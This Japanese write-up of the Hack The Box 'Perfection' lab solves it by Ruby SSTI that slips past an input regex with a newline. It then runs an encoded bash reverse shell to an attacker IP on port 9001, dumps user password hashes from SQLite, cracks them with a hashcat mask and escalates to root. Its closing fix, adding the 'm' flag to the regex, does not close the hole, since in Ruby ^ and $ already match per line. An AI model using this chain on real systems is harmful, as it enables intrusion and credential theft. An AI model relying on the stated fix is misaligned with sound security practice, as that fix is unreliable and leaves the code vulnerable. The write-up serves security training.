見出し画像

HTB Perfection

port探索

nmap

$ nmap -sCV -A -v -Pn -p- --min-rate 5000 10.10.11.253 -oN nmap_result.txt

ssh(22)とhttp(80)が開いているようです。

nmapの結果

ウェブサイト確認

1.WEBrick 1.7.0を使っています
Rubyです。

フッター部分

2.グレード計算ツールでsubmit

weighted-grade-calcページ

weighted gradeの入力を試してみる

osコマンドインジェクション

lsが怒られた。

SSTI

RubyのSSTI書式


結果はブロックされる

改行するといけるか?

category1に改行(%0A)を追加

発火しました。

Response

whoami

`whoami`

susan

susanが帰ってくる

About Usにいた人です。
英語を読むのは辛いですが、「sys」や「admin」で検索しておくとヒントにひっかかることがあるようです。

susanの説明

home配下を確認

BurpSuiteに戻り/home配下を見てみるとsusanがやはりいたので/home/susanを確認

user.txt発見

sudo ls /root/

一応sysadminと説明されていたので実行してみる

さすがに何も見えない

ReverseShell

基本シェル

bash -i >& /dev/tcp/10.10.16.5/9001 0>&1

base64でエンコード

YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi41LzkwMDEgMD4mMQ==

+や==があるのでURLエンコード

%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%69%34%31%4c%7a%6b%77%4d%44%45%67%4d%44%34%6d%4d%51%3d%3d

これを組み込む
echoでbase64でエンコードされたリバースシェルを標準出力
|(パイプ)でbase64 -d でデコードしてプレーンなシェルが文字列として出力
| bash でシェルを実行

`echo+"%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%69%34%31%4c%7a%6b%77%4d%44%45%67%4d%44%34%6d%4d%51%3d%3d"+|+base64+-d+|+bash`
リバースシェル

susanのホームディレクトリ

MigrationしたときのDBデータがあるようです。

sqlite3

$ sqlite3 pupilpath_credentials.db
$ .tables
$ select * from users;
 
1|Susan Miller|abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f
2|Tina Smith|dd560928c97354e3c22972554c81901b74ad1b35f726a11654b78cd6fd8cec57
3|Harry Tyler|d33a689526d49d32a01986ef5a1a3d2afc0aaee48978f06139779904af7a6393
4|David Lawrence|ff7aedd2f4512ee1848a3e18f86c4450c1c76f5c6e27cd8b0dc05557b344b87a
5|Stephen Locke|154a38b253b4e08cba818ff65eb4413f20518655950b9a39964c18d7737d9bb8

susanのメール

susan@perfection:~/Migration$ cat /var/mail/susan
cat /var/mail/susan

Due to our transition to Jupiter Grades because of the PupilPath data breach, 
I thought we should also migrate our credentials 
('our' including the other students in our class) to the new platform. 

I also suggest a new password specification, to make things easier for everyone.

The password format is:
{firstname}_{firstname backwards}_
{randomly generated integer between 1 and 1,000,000,000}

Note that all letters of the first name should be convered into lowercase.
Please hit me with updates on the migration when you can. 
I am currently registering our university with the platform.
- Tina, your delightful student

つまりパスワードは
susan_nasus_000000000
をhashにして
abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f
になる。

hashcat

$ hashcat -m 1400 hash.txt -a 3 susan_nasus_?d?d?d?d?d?d?d?d?d

sudo -i

rootへ
# id
uid=0(root) gid=0(root) groups=0(root)

問題のソースコード

ここからは侵入された原因と対策を見ていきます。
今回はRubyのSSTIがきっかけで侵入できました。
該当ソースは下記です。

main.rb

抜粋するとRegexで大小英字と数字以外はエラーとするようになっています。

params[:category1] =~ /^[a-zA-Z0-9\/ ]+$/

Rubyの=~はデフォルト1行のみの評価となっております。
今回の入力項目は改行できないテキストボックスなので一見すると正しいように見えますが、proxyを通してrequestを編集し改行を含まれるというケースに対応できません。
おしりにmをつけることでマルチラインモードで評価します。

params[:category1] =~ /^[a-zA-Z0-9\/ ]+$/m

いいなと思ったら応援しよう!